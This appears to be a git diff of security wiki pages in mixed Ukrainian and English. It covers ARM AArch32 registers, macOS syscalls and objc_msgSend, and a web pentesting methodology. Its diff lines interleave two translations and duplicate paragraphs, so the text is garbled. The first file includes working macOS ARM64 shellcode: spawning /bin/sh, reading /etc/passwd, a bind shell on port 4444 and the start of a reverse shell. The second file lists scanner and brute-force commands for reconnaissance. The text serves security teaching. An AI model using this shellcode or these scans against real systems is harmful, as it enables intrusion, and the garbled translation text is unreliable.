3. **Повернення**: `ret` (повертає керування викликувальнику, використовуючи адресу в реєстрі зв'язку)
## AARCH32 Execution State
Armv8-A підтримує виконання 32-бітних програм. **AArch32** може працювати в одному з **двох наборів інструкцій**: **`A32`** та **`T32`** і може перемикатися між ними через **`interworking`**.\
**Привілейовані** 64-бітні програми можуть планувати **виконання 32-бітних** програм, виконуючи передачу рівня виключення до менш привілейованого 32-бітного.\
Зверніть увагу, що перехід з 64-бітного на 32-бітний відбувається знижуючи рівень виключення (наприклад, 64-бітна програма в EL1 викликає програму в EL0). Це робиться шляхом встановлення **біта 4** **`SPSR_ELx`** спеціального регістру **в 1**, коли потік процесу `AArch32` готовий до виконання, а решта `SPSR_ELx` зберігає **CPSR** програм **`AArch32`**. Потім привілейований процес викликає інструкцію **`ERET`**, щоб процесор перейшов до **`AArch32`**, входячи в A32 або T32 в залежності від CPSR**.**
Armv8-A підтримує виконання 32бітних програм. **AArch32** може працювати в одному з **двох наборів інструкцій**: **`A32`** та **`T32`** і може переключатися між ними через **`interworking`**.\
**Привілейовані** 64‑бітні програми можуть планувати виконання **32бітних** програм, виконавши передачу між рівнями винятків до менш привілейованого 32бітного режиму.\
Зауважте, що перехід з 64бітного в 32бітний відбувається на нижчому рівні винятків (наприклад, 64бітна програма в EL1 запускає програму в EL0). Це робиться шляхом встановлення **біту 4 у** **`SPSR_ELx`** спеціальному регістрі **в 1**, коли поток `AArch32` готовий до виконання, а решта `SPSR_ELx` зберігає CPSR програми **`AArch32`**. Потім привілейований процес викликає інструкцію **`ERET`**, внаслідок чого процесор переходить у **`AArch32`**, входячи в A32 або T32 залежно від CPSR.**
**`interworking`** відбувається за допомогою бітів J і T CPSR. `J=0` і `T=0` означає **`A32`**, а `J=0` і `T=1` означає **T32**. Це в основному означає встановлення **найнижчого біта в 1**, щоб вказати, що набір інструкцій є T32.\
Це встановлюється під час **інструкцій переходу interworking**, але також може бути встановлено безпосередньо з іншими інструкціями, коли PC встановлено як регістр призначення. Приклад:
The **`interworking`** occurs using the J and T bits of CPSR. `J=0` and `T=0` means **`A32`** and `J=0` and `T=1` means **T32**. This basically traduces on setting the **lowest bit to 1** to indicate the instruction set is T32.\
Це встановлюється під час **interworking branch instructions,** але також може бути встановлено безпосередньо іншими інструкціями, коли PC заданий як регістр призначення. Приклад:
Ще один приклад:
```armasm
@ -264,60 +266,60 @@ mov r0, #8
```
### Registers
Є 16 32-бітних регістрів (r0-r15). **Від r0 до r14** їх можна використовувати для **будь-якої операції**, однак деякі з них зазвичай зарезервовані:
There are 16 32-bit registers (r0-r15). **From r0 to r14** they can be used for **any operation**, however some of them are usually reserved:
- **`r15`**: Лічильник програми (завжди). Містить адресу наступної інструкції. У A32 поточний + 8, у T32, поточний + 4.
- **`r11`**: Вказівник кадру
- **`r12`**: Регістр виклику між процедурами
- **`r13`**: Вказівник стеку
- **`r14`**: Регістр посилання
- **`r15`**: Program counter (always). Contains the address of the next instruction. In A32 current + 8, in T32, current + 4.
- **`r11`**: Frame Pointer
- **`r12`**: Intra-procedural call register
- **`r13`**: Stack Pointer (Note the stack is always 16-byte aligned)
- **`r14`**: Link Register
Більше того, регістри зберігаються в **`banked registries`**. Це місця, які зберігають значення регістрів, що дозволяє виконувати **швидке перемикання контексту** під час обробки виключень та привілейованих операцій, щоб уникнути необхідності вручну зберігати та відновлювати регістри щоразу.\
Це робиться шляхом **збереження стану процесора з `CPSR` до `SPSR`** режиму процесора, в якому виникає виключення. Під час повернення з виключення, **`CPSR`** відновлюється з **`SPSR`**.
Moreover, registers are backed up in **`banked registries`**. Which are places that store the registers values allowing to perform **fast context switching** in exception handling and privileged operations to avoid the need to manually save and restore registers every time.\
This is done by **saving the processor state from the `CPSR` to the `SPSR`** of the processor mode to which the exception is taken. On the exception returns, the **`CPSR`** is restored from the **`SPSR`**.
### CPSR - Реєстр поточного статусу програми
### CPSR - Current Program Status Register
У AArch32 CPSR працює подібно до **`PSTATE`** в AArch64 і також зберігається в **`SPSR_ELx`** під час виникнення виключення для подальшого відновлення виконання:
In AArch32 the CPSR works similar to **`PSTATE`** in AArch64 and is also stored in **`SPSR_ELx`** when a exception is taken to restore later the execution:
<figure><img src="../../../images/image (1197).png" alt=""><figcaption></figcaption></figure>
Поля поділені на кілька груп:
The fields are divided in some groups:
- Реєстр статусу програми (APSR): Арифметичні прапори та доступні з EL0
- Реєстри стану виконання: Поведінка процесу (керується ОС).
- Application Program Status Register (APSR): Arithmetic flags and accesible from EL0
- Execution State Registers: Process behaviour (managed by the OS).
#### Реєстр статусу програми (APSR)
#### Application Program Status Register (APSR)
- Прапори **`N`**, **`Z`**, **`C`**, **`V`** (так само, як в AArch64)
- Прапор **`Q`**: Він встановлюється в 1 щоразу, коли **відбувається цілочисельне насичення** під час виконання спеціалізованої арифметичної інструкції з насиченням. Як тільки він встановлений на **`1`**, він зберігає значення, поки його не встановлять вручну на 0. Більше того, немає жодної інструкції, яка перевіряє його значення неявно, це потрібно робити, читаючи його вручну.
- Прапори **`GE`** (Більше або дорівнює): Використовуються в SIMD (Одна інструкція, кілька даних) операціях, таких як "паралельне додавання" та "паралельне віднімання". Ці операції дозволяють обробляти кілька точок даних в одній інструкції.
- The **`N`**, **`Z`**, **`C`**, **`V`** flags (just like in AArch64)
- The **`Q`** flag: It's set to 1 whenever **integer saturation occurs** during the execution of a specialized saturating arithmetic instruction. Once it's set to **`1`**, it'll maintain the value until it's manually set to 0. Moreover, there isn't any instruction that checks its value implicitly, it must be done reading it manually.
- **`GE`** (Greater than or equal) Flags: It's used in SIMD (Single Instruction, Multiple Data) operations, such as "parallel add" and "parallel subtract". These operations allow processing multiple data points in a single instruction.
Наприклад, інструкція **`UADD8`** **додає чотири пари байтів** (з двох 32-бітних операндів) паралельно та зберігає результати в 32-бітному регістрі. Потім вона **встановлює прапори `GE` в `APSR`** на основі цих результатів. Кожен прапор GE відповідає одному з додавань байтів, вказуючи, чи відбулося **переповнення** для цієї пари байтів.
For example, the **`UADD8`** instruction **adds four pairs of bytes** (from two 32-bit operands) in parallel and stores the results in a 32-bit register. It then **sets the `GE` flags in the `APSR`** based on these results. Each GE flag corresponds to one of the byte additions, indicating if the addition for that byte pair **overflowed**.
Інструкція **`SEL`** використовує ці прапори GE для виконання умовних дій.
The **`SEL`** instruction uses these GE flags to perform conditional actions.
#### Реєстри стану виконання
#### Execution State Registers
- Біти **`J`** та **`T`**: **`J`** має бути 0, і якщо **`T`** дорівнює 0, використовується набір інструкцій A32, а якщо 1, використовується T32.
- **Реєстр стану блоку IT** (`ITSTATE`): Це біти з 10-15 та 25-26. Вони зберігають умови для інструкцій всередині групи з префіксом **`IT`**.
- Біти **`E`**: Вказують на **endianness**.
- Біти режиму та маски виключень (0-4): Вони визначають поточний стан виконання. **5-й** вказує, чи програма працює в 32-бітному (1) або 64-бітному (0) режимі. Інші 4 представляють **режим виключення, що використовується в даний момент** (коли виникає виключення і його обробляють). Встановлене число **вказує на поточний пріоритет** у разі, якщо виникає інше виключення під час обробки цього.
- The **`J`** and **`T`** bits: **`J`** should be 0 and if **`T`** is 0 the instruction set A32 is used, and if it's 1, the T32 is used.
- **IT Block State Register** (`ITSTATE`): These are the bits from 10-15 and 25-26. They store conditions for instructions inside an **`IT`** prefixed group.
- **`E`** bit: Indicates the **endianness**.
- **Mode and Exception Mask Bits** (0-4): They determine the current execution state. The **5th** one indicates if the program runs as 32bit (a 1) or 64bit (a 0). The other 4 represents the **exception mode currently in used** (when a exception occurs and it's being handled). The number set **indicates the current priority** in case another exception is triggered while this is being handled.
<figure><img src="../../../images/image (1200).png" alt=""><figcaption></figcaption></figure>
- **`AIF`**: Деякі виключення можуть бути вимкнені за допомогою бітів **`A`**, `I`, `F`. Якщо **`A`** дорівнює 1, це означає, що **асинхронні аборти** будуть викликані. **`I`** налаштовує відповідь на зовнішні апаратні **Запити переривання** (IRQ). А F пов'язаний з **Швидкими запитами переривання** (FIR).
- **`AIF`**: Certain exceptions can be disabled using the bits **`A`**, `I`, `F`. If **`A`** is 1 it means **asynchronous aborts** will be triggered. The **`I`** configures to respond to external hardware **Interrupts Requests** (IRQs). and the F is related to **Fast Interrupt Requests** (FIRs).
## macOS
### BSD syscalls
Перегляньте [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). BSD syscalls матимуть **x16 > 0**.
Check out [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master) or run `cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h`. BSD syscalls will have **x16 > 0**.
### Mach Traps
Перегляньте в [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) таблицю `mach_trap_table` та в [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) прототипи. Максимальна кількість Mach traps дорівнює `MACH_TRAP_TABLE_COUNT` = 128. Mach traps матимуть **x16 < 0**, тому вам потрібно викликати номери з попереднього списку з **мінусом**: **`_kernelrpc_mach_vm_allocate_trap`** дорівнює **`-10`**.
Check out in [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) the `mach_trap_table` and in [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) the prototypes. The mex number of Mach traps is `MACH_TRAP_TABLE_COUNT` = 128. Mach traps will have **x16 < 0**, so you need to call the numbers from the previous list with a **minus**: **`_kernelrpc_mach_vm_allocate_trap`** is **`-10`**.
Ви також можете перевірити **`libsystem_kernel.dylib`** в дизасемблері, щоб дізнатися, як викликати ці (та BSD) syscalls:
You can also check **`libsystem_kernel.dylib`** in a disassembler to find how to call these (and BSD) syscalls:
```bash
# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
@ -325,32 +327,32 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib
# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
```
Зверніть увагу, що **Ida** та **Ghidra** також можуть декомпілювати **конкретні dylibs** з кешу, просто передавши кеш.
Note that **Ida** and **Ghidra** can also decompile **specific dylibs** from the cache just by passing the cache.
> [!TIP]
> Іноді легше перевірити **декомпільований** код з **`libsystem_kernel.dylib`** **ніж** перевіряти **джерельний код**, оскільки код кількох системних викликів (BSD та Mach) генерується за допомогою скриптів (перевірте коментарі в джерельному коді), тоді як у dylib ви можете знайти, що викликається.
> Іноді простіше перевірити **декомпільований** код з **`libsystem_kernel.dylib`**, ніж перевіряти **вихідний код**, бо код кількох syscalls (BSD та Mach) генерується скриптами (див. коментарі у вихідниках), тоді як у dylib можна побачити, що саме викликається.
### machdep виклики
### machdep calls
XNU підтримує ще один тип викликів, званий залежними від машини. Кількість цих викликів залежить від архітектури, і ні виклики, ні числа не гарантовано залишаться постійними.
XNU підтримує інший тип викликів, званих machine dependent. Номери цих викликів залежать від архітектури, і ні самі виклики, ні їхні номери не гарантовано залишатимуться сталими.
### comm page
Це сторінка пам'яті, що належить ядру, яка відображається в адресному просторі кожного процесу користувача. Вона призначена для того, щоб зробити перехід з режиму користувача в простір ядра швидшим, ніж використання системних викликів для служб ядра, які використовуються настільки часто, що цей перехід був би дуже неефективним.
Це сторінка пам'яті, що належить ядру, яка відображається в адресному просторі кожного користувацького процесу. Вона покликана зробити перехід з user mode у kernel space швидшим, ніж використання syscalls для сервісів ядра, які використовуються настільки часто, що такий перехід був би дуже неефективним.
Наприклад, виклик `gettimeofdate` читає значення `timeval` безпосередньо зі сторінки comm.
For example the call `gettimeofdate` reads the value of `timeval` directly from the comm page.
### objc_msgSend
Цю функцію дуже часто можна знайти в програмах на Objective-C або Swift. Ця функція дозволяє викликати метод об'єкта Objective-C.
It's super common to find this function used in Objective-C or Swift programs. This function allows to call a method of an objective-C object.
Параметри ([більше інформації в документації](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)):
Параметри ([докладніше в документації](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)):
- x0: self -> Вказівник на екземпляр
- x1: op -> Селектор методу
- x2... -> Інші аргументи викликаного методу
- x2... -> Решта аргументів викликаного методу
Отже, якщо ви поставите точку зупинки перед переходом до цієї функції, ви зможете легко знайти, що викликається в lldb (в цьому прикладі об'єкт викликає об'єкт з `NSConcreteTask`, який виконає команду):
Отже, якщо встановити брейкпоїнт перед переходом до цієї функції, ви легко зможете знайти, що викликається в lldb за допомогою (в цьому прикладі об'єкт викликає об'єкт з `NSConcreteTask`, який запускатиме команду):
```bash
# Right in the line were objc_msgSend will be called
(lldb) po $x0
@ -369,27 +371,27 @@ whoami
)
```
> [!TIP]
> Встановивши змінну середовища **`NSObjCMessageLoggingEnabled=1`**, можна записувати, коли ця функція викликається у файлі, наприклад, `/tmp/msgSends-pid`.
> Встановивши змінну оточення **`NSObjCMessageLoggingEnabled=1`**, можна логувати виклики цієї функції у файл на кшталт `/tmp/msgSends-pid`.
>
> Більше того, встановивши **`OBJC_HELP=1`** та викликавши будь-який бінар, ви можете побачити інші змінні середовища, які можна використовувати для **логування** певних дій Objc-C.
> Крім того, встановлення **`OBJC_HELP=1`** і запуск будь-якого binary дозволяє побачити інші змінні оточення, які можна використовувати для **log** коли відбуваються певні Objc-C дії.
Коли ця функція викликається, потрібно знайти викликаний метод вказаного екземпляра, для цього проводяться різні пошуки:
Коли ця функція викликається, потрібно знайти метод, який викликається для вказаного екземпляра; для цього виконуються такі пошуки:
- Виконати оптимістичний пошук у кеші:
- Якщо успішно, завершити
- Отримати runtimeLock (читання)
- Якщо (realize && !cls->realized) реалізувати клас
- Якщо (initialize && !cls->initialized) ініціалізувати клас
- Спробувати власний кеш класу:
- Якщо успішно, завершити
- Спробувати список методів класу:
- Якщо знайдено, заповнити кеш і завершити
- Спробувати кеш суперкласу:
- Якщо успішно, завершити
- Спробувати список методів суперкласу:
- Якщо знайдено, заповнити кеш і завершити
- Якщо (resolver) спробувати резолвер методу і повторити з пошуку класу
- Якщо все ще тут (= все інше не вдалося) спробувати форвардер
- Perform optimistic cache lookup:
- If successful, done
- Acquire runtimeLock (read)
- If (realize && !cls->realized) realize class
- If (initialize && !cls->initialized) initialize class
- Try class own cache:
- If successful, done
- Try class method list:
- If found, fill cache and done
- Try superclass cache:
- If successful, done
- Try superclass method list:
- If found, fill cache and done
- If (resolver) try method resolver, and repeat from class lookup
- If still here (= all else has failed) try forwarder
### Shellcodes
@ -467,7 +469,7 @@ return 0;
#### Shell
Взято з [**тут**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) та пояснено.
Взято з [**here**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) і пояснено.
{{#tabs}}
{{#tab name="with adr"}}
@ -487,7 +489,7 @@ sh_path: .asciz "/bin/sh"
```
{{#endtab}}
{{#tab name="з використанням стеку"}}
{{#tab name="with stack"}}
```armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
@ -518,7 +520,7 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter,
```
{{#endtab}}
{{#tab name="з adr для linux"}}
{{#tab name="with adr for linux"}}
```armasm
; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
@ -537,9 +539,9 @@ sh_path: .asciz "/bin/sh"
{{#endtab}}
{{#endtabs}}
#### Читати за допомогою cat
#### Читання за допомогою cat
Мета полягає в тому, щоб виконати `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, тому другий аргумент (x1) є масивом параметрів (які в пам'яті означають стек адрес).
Мета виконати `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, тому другий аргумент (x1) — це масив параметрів (у пам'яті це означає стек адрес).
```armasm
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
@ -565,7 +567,7 @@ cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"
```
#### Виклик команди з sh з форка, щоб основний процес не був вбитий
#### Викликати команду через sh у форку, щоб головний процес не був завершений
```armasm
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
@ -611,7 +613,7 @@ touch_command: .asciz "touch /tmp/lalala"
```
#### Bind shell
Bind shell з [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) на **порті 4444**
Bind shell з [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) на порту **4444**
```armasm
.section __TEXT,__text
.global _main
@ -693,7 +695,7 @@ mov x2, xzr
mov x16, #59
svc #0x1337
```
#### Зворотний шелл
#### Reverse shell
З [https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s), revshell до **127.0.0.1:4444**
```armasm

View File

@ -4,9 +4,9 @@
## Основна інформація
Веб-сервіс є най**поширенішим та наймасштабнішим сервісом**, і існує багато **різних типів вразливостей**.
Веб-сервіс є найпоширенішою і наймасштабнішою службою, і існує багато **різних типів вразливостей**.
**Порт за замовчуванням:** 80 (HTTP), 443 (HTTPS)
**Порт за замовчуванням:** 80 (HTTP), 443(HTTPS)
```bash
PORT STATE SERVICE
80/tcp open http
@ -24,48 +24,48 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
web-api-pentesting.md
{{#endref}}
## Зведення методології
## Короткий огляд методології
> У цій методології ми припускаємо, що ви збираєтесь атакувати один домен (або піддомен) і лише його. Отже, цю методологію слід застосувати до кожного виявленого домену, піддомену або IP з невизначеним веб‑сервером у межах обсягу тестування.
> У цій методології ми припускаємо, що ви збираєтеся атакувати один домен (або піддомен) і тільки його. Тому застосовуйте цю методологію до кожного виявленого домену, піддомену або IP з невизначеним веб-сервером в межах scope.
- [ ] Почніть з **виявлення** **технологій**, що використовуються веб‑сервером. Шукайте **трюки**, які слід врахувати протягом решти тесту, якщо вам вдасться ідентифікувати технологію.
- [ ] Чи є відомі **вразливості** для поточної версії цієї технології?
- [ ] Використовується відома технологія? Є якісь **корисні трюки** для витягнення додаткової інформації?
- [ ] Чи є спеціалізований сканер для запуску (наприклад, wpscan)?
- [ ] Запустіть сканери загального призначення. Ніколи не знаєш, чи знайдуть вони щось або якусь цікаву інформацію.
- [ ] Почніть з **початкових перевірок**: **robots**, **sitemap**, помилка **404** та **SSL/TLS scan** (якщо HTTPS).
- [ ] Почніть **spidering** сторінки: час **знайти** всі можливі **файли, папки** та **параметри**, що використовуються. Також перевірте на наявність **особливих знахідок**.
- [ ] _Примітка: щоразу, коли під час brute-forcing або spidering виявляється новий каталог, його слід просканувати._
- [ ] **Directory Brute-Forcing**: спробуйте brute-force всі виявлені папки в пошуках нових **файлів** та **директорій**.
- [ ] _Примітка: щоразу, коли під час brute-forcing або spidering виявляється новий каталог, його слід brute-forced._
- [ ] **Backups checking**: перевірте, чи можна знайти **резервні копії** виявлених файлів, додаючи поширені розширення для бекапу.
- [ ] **Brute-Force parameters**: спробуйте **знайти приховані параметри**.
- [ ] Після того як ви **виявили** всі можливі **endpoints**, які приймають **user input**, перевірте всі типи **vulnerabilities**, пов’язані з ними.
- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
- [ ] Почніть з **ідентифікації** **технологій**, які використовує веб-сервер. Шукайте **трюки**/підказки, які варто мати на увазі під час решти тесту, якщо вам вдалося визначити технологію.
- [ ] Чи є якісь **відомі вразливості** для версії цієї технології?
- [ ] Використовується якась **well known tech**? Є якісь **useful trick** для отримання додаткової інформації?
- [ ] Чи є **specialised scanner**, який потрібно запустити (наприклад wpscan)?
- [ ] Запустіть **general purposes scanners**. Ви ніколи не знаєте, чи знайдуть вони щось або якусь цікаву інформацію.
- [ ] Почніть з **initial checks**: **robots**, **sitemap**, **404** error та **SSL/TLS scan** (якщо HTTPS).
- [ ] Почніть **spidering** веб-сторінки: настав час **знайти** всі можливі **files, folders** та **parameters being used.** Також перевірте на **special findings**.
- [ ] _Зверніть увагу, що щоразу, коли під час brute-forcing або spidering виявляється новий каталог, він має бути spidered._
- [ ] **Directory Brute-Forcing**: Спробуйте brute force всі виявлені папки у пошуках нових **files** та **directories**.
- [ ] _Зверніть увагу, що щоразу, коли під час brute-forcing або spidering виявляється новий каталог, його слід Brute-Forced._
- [ ] **Backups checking**: Перевірте, чи можете знайти **backups** для **discovered files**, додаючи поширені розширення резервних копій.
- [ ] **Brute-Force parameters**: Спробуйте **знайти приховані параметри**.
- [ ] Коли ви **ідентифікували** всі можливі **endpoints**, що приймають **user input**, перевірте їх на всі види пов'язаних **вразливостей**.
- [ ] [Дотримуйтесь цього контрольного списку](../../pentesting-web/web-vulnerabilities-methodology.md)
## Server Version (Vulnerable?)
### Ідентифікація
Перевірте, чи існують **відомі вразливості** для тієї **версії** сервера, що працює.\
**HTTP headers** та **cookies** у відповіді можуть дуже допомогти в **ідентифікації** **технологій** та/або **версії**, що використовуються. **Nmap scan** може визначити версію сервера, але також можуть бути корисні інструменти [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) або [**https://builtwith.com/**](https://builtwith.com)**:**
Перевірте, чи є **відомі вразливості** для **версії** сервера, яка запущена.\\
**HTTP headers and cookies of the response** можуть бути дуже корисними для **identify** **technologies** та/або **version**, що використовуються. **Nmap scan** може визначити версію сервера, але також можуть бути корисні інструменти [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:**
```bash
whatweb -a 1 <URL> #Stealthy
whatweb -a 3 <URL> #Aggresive
webtech -u <URL>
webanalyze -host https://google.com -crawl 2
```
Шукайте **для** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
Шукати [**вразливості версії веб‑застосунку**](../../generic-hacking/search-exploits.md)
### **Перевірте наявність WAF**
### **Перевірити, чи є WAF**
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
### Трюки для Web-технологій
### Хитрощі веб‑технологій
Деякі **трюки** для **пошуку вразливостей** у різних добре відомих **технологіях**, що використовуються:
Деякі **хитрощі** для **знаходження вразливостей** у різних відомих **технологіях**, що використовуються:
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
- [**Apache**](apache.md)
@ -101,27 +101,27 @@ webanalyze -host https://google.com -crawl 2
- [**Wordpress**](wordpress.md)
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
_Майте на увазі, що **той самий домен** може використовувати **різні технології** на різних **портах**, **папках** та **субдоменах**._\
Якщо веб‑додаток використовує будь‑яку відому **tech/platform listed before** або **any other**, не забудьте **search on the Internet** нові трюки (і повідомте мені!).
_Врахуйте, що **той самий домен** може використовувати **різні технології** на різних **портах**, **папках** та **субдоменах**._\
Якщо веб‑застосунок використовує будь‑яку з перелічених вище відомих **технологій/платформ** або будь‑яку іншу, не забудьте **шукати в Інтернеті** нові хитрощі (і повідомте мені!).
### Огляд вихідного коду
### Перегляд вихідного коду
Якщо **source code** додатку доступний у **github**, окрім проведення вами **White box test** додатку, існує **деяка інформація**, яка може бути **корисною** для поточного **Black-Box testing**:
Якщо **вихідний код** застосунку доступний на **github**, окрім виконання власного White box тесту застосунку, є деяка інформація, яка може бути корисною для поточного Black-Box testing:
- Чи є **Change-log або Readme або Version** файл чи будь-який інший файл з **інформацією про версію**, доступний через веб?
- Як і де зберігаються **credentials**? Чи існує якийсь (доступний?) **file** з credentials (usernames або passwords)?
- Чи **passwords** збережені у **plain text**, **encrypted**, або який **hashing algorithm** використовується?
- Чи є **Change-log or Readme or Version** файл чи будь‑що з **інформацією про версію**, доступне через веб?
- Як і де зберігаються **credentials**? Чи є якийсь (доступний?) **файл** з credentials (usernames або passwords)?
- Чи зберігаються **passwords** у **plain text**, **encrypted** або який **hashing algorithm** використовується?
- Чи використовується якийсь **master key** для шифрування чогось? Який **algorithm** використовується?
- Чи можете ви **access any of these files**, використовуючи якусь вразливість?
- Чи є якась **interesting information in the github** (вирішені чи невирішені) **issues**? Або в **commit history** (можливо якийсь **password introduced inside an old commit**)?
- Чи можете ви **отримати доступ до будь‑якого з цих файлів**, експлуатуючи якусь вразливість?
- Чи є якась **цікава інформація в github** (вирішені та невирішені) **issues**? Або в **commit history** (можливо якийсь **password** був доданий у старому коміті)?
{{#ref}}
code-review-tools.md
{{#endref}}
### Automatic scanners
### Автоматизовані сканери
#### General purpose automatic scanners
#### Автоматичні сканери загального призначення
```bash
nikto -h <URL>
whatweb -a 4 <URL>
@ -133,12 +133,12 @@ nuclei -ut && nuclei -target <URL>
# https://github.com/ignis-sec/puff (client side vulns fuzzer)
node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ"
```
#### CMS-сканери
#### CMS сканери
Якщо використовується CMS, не забувайте **запустити сканер**, можливо знайдеться щось цікаве:
Якщо використовується CMS, не забудьте **запустити сканер**, можливо знайдеться щось цінне:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** сайти на предмет проблем із безпекою. (GUI)\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** — веб-сайти на предмет проблем безпеки. (GUI)\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **або** [**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
@ -148,45 +148,45 @@ wpscan --force update -e --url <URL>
joomscan --ec -u <URL>
joomlavs.rb #https://github.com/rastating/joomlavs
```
> На цьому етапі у вас уже має бути певна інформація про web server, що використовує клієнт (якщо надано будь‑які дані), і деякі прийоми, які варто пам'ятати під час тестування. Якщо пощастило, ви навіть знайшли CMS і запустили scanner.
> На цьому етапі ви вже повинні мати якусь інформацію про веб-сервер, що використовується клієнтом (якщо надано дані), і кілька трюків, які варто пам'ятати під час тесту. Якщо вам пощастило, ви навіть знайшли CMS і запустили якийсь сканер.
## Покрокове виявлення веб-застосунку
## Step-by-step Web Application Discovery
> З цього моменту ми почнемо взаємодію з веб-застосунком.
> З цього моменту ми починаємо взаємодіяти з веб-застосунком.
### Початкові перевірки
**Сторінки за замовчуванням з цікавою інформацією:**
**Сторінки за замовчуванням з корисною інформацією:**
- /robots.txt
- /sitemap.xml
- /crossdomain.xml
- /clientaccesspolicy.xml
- /.well-known/
- Перевірте також коментарі на головних і другорядних сторінках.
- Перевірте також коментарі на основних та вторинних сторінках.
**Примусове викликання помилок**
**Виклик помилок**
Web servers можуть **поводитись непередбачувано**, коли їм надсилають дивні дані. Це може відкрити **vulnerabilities** або призвести до розкриття конфіденційної інформації.
Веб-сервери можуть **поводитися несподівано**, коли їм надсилаються дивні дані. Це може відкрити **вразливості** або призвести до **розкриття чутливої інформації**.
- Доступ до **fake pages** типу /whatever_fake.php (.aspx,.html,.etc)
- **Add "\[]", "]]", and "\[\["** у значення cookie та значення параметрів, щоб спричинити помилки
- Згенеруйте помилку, передавши як вхід **`/~randomthing/%s`** в кінці **URL**
- Спробуйте **different HTTP Verbs** типу PATCH, DEBUG або некоректні, як FAKE
- Доступайтеся до **фейкових сторінок** типу /whatever_fake.php (.aspx,.html,.etc)
- **Add "\[]", "]]", and "\[\["** у **значення cookie** та **значення параметрів**, щоб спричинити помилки
- Згенеруйте помилку, передавши як вхід **`/~randomthing/%s`** в **кінці** **URL**
- Спробуйте **різні HTTP Verbs**, наприклад PATCH, DEBUG або неправильні, наприклад FAKE
#### **Перевірте, чи можете завантажувати файли (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
Якщо ви виявите, що **WebDav** увімкнено, але у вас недостатньо прав для **uploading files** в кореневій папці, спробуйте:
Якщо ви виявили, що **WebDav** увімкнено, але у вас недостатньо прав для **uploading files** у кореневу папку, спробуйте:
- **Brute Force** credentials
- **Upload files** через WebDav у інші знайдені папки на сайті. Можливо, у вас є дозволи на завантаження файлів у інших папках.
- **Brute Force** облікових даних
